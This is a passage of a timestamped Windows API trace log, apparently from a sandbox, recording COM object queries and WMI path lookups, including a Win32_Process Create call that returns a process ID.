[7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0080.519] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0080.520] IUnknown:AddRef (This=0x1c028680) returned 0x3 [0080.520] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0080.520] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0080.520] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1c028688) returned 0x0 [0080.521] IMarshal:GetUnmarshalClass (in: This=0x1c028688, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0080.521] IUnknown:Release (This=0x1c028688) returned 0x3 [0080.521] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0080.521] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0080.521] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0080.521] IUnknown:Release (This=0x1c028680) returned 0x2 [0080.521] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0080.521] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0080.521] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0080.521] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0080.521] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0080.522] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0080.522] IUnknown:AddRef (This=0x1c028680) returned 0x3 [0080.522] IWbemClassObject:Put (This=0x1bf6d4d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c028680, varVal2=0x0), Type=0) returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02eaf0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eaf0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eaf0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eaf0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0080.522] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eaf0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0080.523] IWbemServices:ExecMethod (in: This=0x1c018380, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6d4d0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6d780, ppCallResult=0x0) returned 0x0 [0080.774] IWbemClassObject:Get (in: This=0x1bf6d780, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad76d0*=0, plFlavor=0x2ad76d4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcf8, varVal2=0x0), pType=0x2ad76d0*=19, plFlavor=0x2ad76d4*=0) returned 0x0 [0080.775] IWbemClassObject:Get (in: This=0x1bf6d780, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad76d0*=19, plFlavor=0x2ad76d4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcf8, varVal2=0x0), pType=0x2ad76d0*=19, plFlavor=0x2ad76d4*=0) returned 0x0 [0080.776] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0080.777] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0080.777] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0080.777] IUnknown:Release (This=0x111f638) returned 0x1 [0080.780] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c0221e0) returned 0x0 [0080.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0221e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0080.781] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0221e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02ef70) returned 0x0 [0080.781] WbemDefPath:IUnknown:Release (This=0x1c0221e0) returned 0x0 [0080.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02ef70) returned 0x0 [0080.781] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0080.782] WbemDefPath:IUnknown:AddRef (This=0x1c02ef70) returned 0x3 [0080.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0080.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0080.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c022220) returned 0x0 [0080.782] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022220, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.782] WbemDefPath:IUnknown:Release (This=0x1c022220) returned 0x3 [0080.782] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0080.782] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0080.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0080.783] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x2 [0080.783] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x1 [0080.783] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0080.783] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0080.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ef70, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02ef70) returned 0x0 [0080.783] WbemDefPath:IUnknown:AddRef (This=0x1c02ef70) returned 0x3 [0080.783] WbemDefPath:IUnknown:Release (This=0x1c02ef70) returned 0x2 [0080.783] WbemDefPath:IWbemPath:SetText (This=0x1c02ef70, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0080.783] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ef70, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.783] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0080.783] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0080.784] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02ef70, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.784] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ef70, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.784] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02ef70, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.784] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0080.784] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0080.784] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0080.784] IUnknown:Release (This=0x111f638) returned 0x1 [0080.788] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c022260) returned 0x0 [0080.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022260, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0080.788] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022260, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02f030) returned 0x0 [0080.789] WbemDefPath:IUnknown:Release (This=0x1c022260) returned 0x0 [0080.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02f030) returned 0x0 [0080.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0080.789] WbemDefPath:IUnknown:AddRef (This=0x1c02f030) returned 0x3 [0080.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0080.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0080.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c0222a0) returned 0x0 [0080.790] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0222a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.790] WbemDefPath:IUnknown:Release (This=0x1c0222a0) returned 0x3 [0080.790] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0080.790] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0080.790] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0080.790] WbemDefPath:IUnknown:Release (This=0x1c02f030) returned 0x2 [0080.790] WbemDefPath:IUnknown:Release (This=0x1c02f030) returned 0x1 [0080.790] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0080.791] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0080.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f030, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02f030) returned 0x0 [0080.791] WbemDefPath:IUnknown:AddRef (This=0x1c02f030) returned 0x3 [0080.791] WbemDefPath:IUnknown:Release (This=0x1c02f030) returned 0x2 [0080.791] WbemDefPath:IWbemPath:SetText (This=0x1c02f030, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f030, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f030, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f030, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f030, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f030, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0080.791] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.792] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0080.792] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0080.792] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0080.792] IUnknown:Release (This=0x111f638) returned 0x1 [0080.795] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c0222e0) returned 0x0 [0080.795] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0222e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0080.796] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0222e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1c02f0f0) returned 0x0 [0080.796] WbemDefPath:IUnknown:Release (This=0x1c0222e0) returned 0x0 [0080.796] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1c02f0f0) returned 0x0 [0080.796] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0080.796] WbemDefPath:IUnknown:AddRef (This=0x1c02f0f0) returned 0x3 [0080.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0080.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0080.797] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f0f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c022320) returned 0x0 [0080.797] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, 